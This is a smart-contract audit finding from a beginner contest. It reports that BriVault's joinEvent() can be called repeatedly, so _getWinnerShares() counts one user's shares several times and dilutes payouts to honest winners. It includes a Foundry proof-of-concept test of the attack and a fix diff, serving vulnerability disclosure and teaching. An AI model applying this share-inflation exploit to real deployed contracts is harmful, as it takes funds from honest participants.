BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

_getWinnerShares() Double-Counts Duplicate Users in `usersAddress` -> Enables Payout Dilution via Repeated joinEvent() Calls

aziz0x48

Summary

The BriVaultTest::joinEvent() function allows a user to call it multiple times without restriction. When BriVaultTest::_getWinnerShares() iterates over usersAddress, the attacker's shares are counted multiple times, inflating the denominator and diluting payouts for honest winners.

Description

  • Normal behavior: Users deposit tokens into the vault and receive vault shares proportional to their deposit. Each user may call BriVaultTest::joinEvent() to register for a country. After the event ends, the owner sets the winning country via BriVaultTest::setWinner(). All users who selected the winning country share the finalized prize pool proportionally to their vault shares.


  • Issue: The BriVaultTest::joinEvent() function allows a user to call it multiple times after a single deposit. Each call appends msg.sender to the usersAddress array and updates userSharesToCountry[msg.sender][countryId] with their current vault shares. When BriVaultTest::_getWinnerShares() calculates the total winning shares, it iterates over usersAddress, causing the attacker's shares to be counted multiple times, once per entry in the array. This inflates totalWinnerShares, reducing the payout for honest participants who joined only once.

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// ...
userToCountry[msg.sender] = teams[countryId];
​
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
usersAddress.push(msg.sender); // ← no deduplication — allows multiple entries from the same address
​
numberOfParticipants++;
totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // ← attacker counted multiple times
}
return totalWinnerShares;
}

Risk

Likelihood: High

  • Any user who has deposited atleast once can call BriVaultTest::joinEvent() repeatedly before eventStartDate

  • No checks preventing duplicate entries in usersAddress

Impact: Medium

  • Honest winners receive significantly reduced payouts.

  • Economic fairness of the prize distribution is broken.

PoC

Add the following two test functions to BriVaultTest.t.sol. They simulate:

  1. Normal flow: three users deposit, join once, and withdraw fairly.

  2. Attack flow: the same setup, but user3 (malicious) joins the event multiple times.

Run both with forge test, and you’ll notice in the attack case, the honest user’s reward drops a alot

/// @notice Honest flow: three users deposit full balance and join once each.
function testNoAttack_thenWithdraw() public {
// Approve & deposit entire balances
vm.prank(user1);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user1);
briVault.deposit(20 ether, user1);
​
vm.prank(user2);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user2);
briVault.deposit(20 ether, user2);
​
vm.prank(user3);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user3);
briVault.deposit(20 ether, user3);
​
// Each joins same country (0)
vm.prank(user1);
briVault.joinEvent(0);
vm.prank(user2);
briVault.joinEvent(0);
vm.prank(user3);
briVault.joinEvent(0);
​
// Fastforward past event end
vm.warp(block.timestamp + 40 days);
​
// Owner sets winner to country 0
vm.prank(owner);
briVault.setWinner(0);
​
// user1 withdraws (user1 had 0 before withdraw because they deposited full balance)
vm.prank(user1);
briVault.withdraw();
​
uint256 user1Final = mockToken.balanceOf(user1);
console.log("user1 final balance (tokens):", user1Final / 1 ether);
// Expected: deposit 20, fee 1.5% -> stake ≈ 19.7; since all picked same country, user gets ≈19.7 back
assertGt(user1Final, 19.6 ether);
}
​
/// @notice Attack: attacker calls joinEvent() multiple times to inflate totalWinnerShares.
function testAttack_MultipleJoin_reducesUsersShare() public {
// Approve & deposit entire balances
vm.prank(user1);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user1);
briVault.deposit(20 ether, user1);
​
vm.prank(user2);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user2);
briVault.deposit(20 ether, user2);
​
vm.prank(user3);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user3);
briVault.deposit(20 ether, user3); // attacker
​
// Honest joins by user1 and user2
vm.prank(user1);
briVault.joinEvent(0);
vm.prank(user2);
briVault.joinEvent(0);
​
// Attacker (user3) joins multiple times
vm.prank(user3);
briVault.joinEvent(0);
vm.prank(user3);
briVault.joinEvent(0);
vm.prank(user3);
briVault.joinEvent(0);
​
// Fastforward past event end
vm.warp(block.timestamp + 40 days);
​
// Owner sets winner
vm.prank(owner);
briVault.setWinner(0);
​
// user1 withdraws
vm.prank(user1);
briVault.withdraw();
​
uint256 user1FinalAfterAttack = mockToken.balanceOf(user1);
console.log(
"user1 final balance after attack (tokens):",
user1FinalAfterAttack / 1 ether
);
​
// With the attack, user1 gets significantly less than ~19.7 — assert it's < 15 to show dilution
assertLt(user1FinalAfterAttack, 15 ether);

Recommended Mitigation

Add deduplication in BriVaultTest::_getWinnerShares() using a mapping to ensure each user’s shares are counted only once, even if they appear multiple times inusersAddress

+ mapping(address => bool) private _seenInWinnerCalc;
​
//...
​
function _getWinnerShares() internal returns (uint256) {
​
+ uint256 total = 0;
for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
+ if (!_seenInWinnerCalc[user]) {
+ _seenInWinnerCalc[user] = true;
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
+ total += userSharesToCountry[user][winnerCountryId];
+ }
}
​
- return totalWinnerShares;
+ totalWinnerShares = total;
+ return total;
​
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!